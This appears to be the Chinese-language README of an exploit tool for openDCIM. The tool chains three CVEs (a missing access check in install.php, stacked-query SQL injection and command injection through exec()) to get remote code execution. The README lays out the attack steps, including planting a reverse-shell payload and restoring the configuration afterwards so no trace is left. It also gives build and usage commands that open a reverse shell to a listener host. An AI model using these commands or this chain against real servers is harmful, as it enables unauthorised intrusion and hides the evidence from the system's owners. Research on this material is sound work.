针对 openDCIM 的 install.php LDAP 配置表单的远程代码执行链。基于 VulnCheck go-exploit 框架构建。
| # | CVE | CWE | 描述 |
|---|---|---|---|
| 1 | CVE-2026-28515 | CWE-862 | install.php 在 LDAP 配置表单之前不执行任何角色检查 - 任何用户都能访问它 |
| 2 | CVE-2026-28516 | CWE-89 | Config::UpdateParameter() 使用字符串插值,通过 PDO+MySQL 进行堆叠查询 |
| 3 | CVE-2026-28517 | CWE-78 | report_network_map.php 将 dot 配置值直接传递给 exec() |
受影响版本: 所有版本(已在最新提交 4467e9c4 上测试)
install.php 发送 POST 请求 - 通过 LDAP 表单进行 SQL 注入,备份配置,并用命令载荷覆盖 dotreport_network_map.php 发送 GET 请求 - 触发 exec(),通过 id 输出确认 RCEinstall.php 发送 POST 请求 - 用反向 Shell 载荷覆盖 dotreport_network_map.php 发送 GET 请求 - 触发反向 Shellinstall.php 发送 POST 请求 - 从备份表恢复所有原始配置值利用后数据库中不留下任何痕迹。
go build -o opendcim-exploit .
# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80
# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer
| 参数 | 默认值 | 描述 |
|---|
-rhost | 目标主机 | |
-rport | 80 | 目标端口 |
-ssl | false | 使用 HTTPS |
-lhost | 监听主机(用于反向 Shell) | |
-lport | 监听端口(用于反向 Shell) | |
-c2 | C2 类型:SimpleShellServer 或 SSLShellServer | |
-username | HTTP 基本认证用户名(SetEnv 部署可省略) | |
-password | HTTP 基本认证密码(SetEnv 部署可省略) | |
-a | 资产检测(检查目标是否可被利用) | |
-e | 漏洞利用模式 |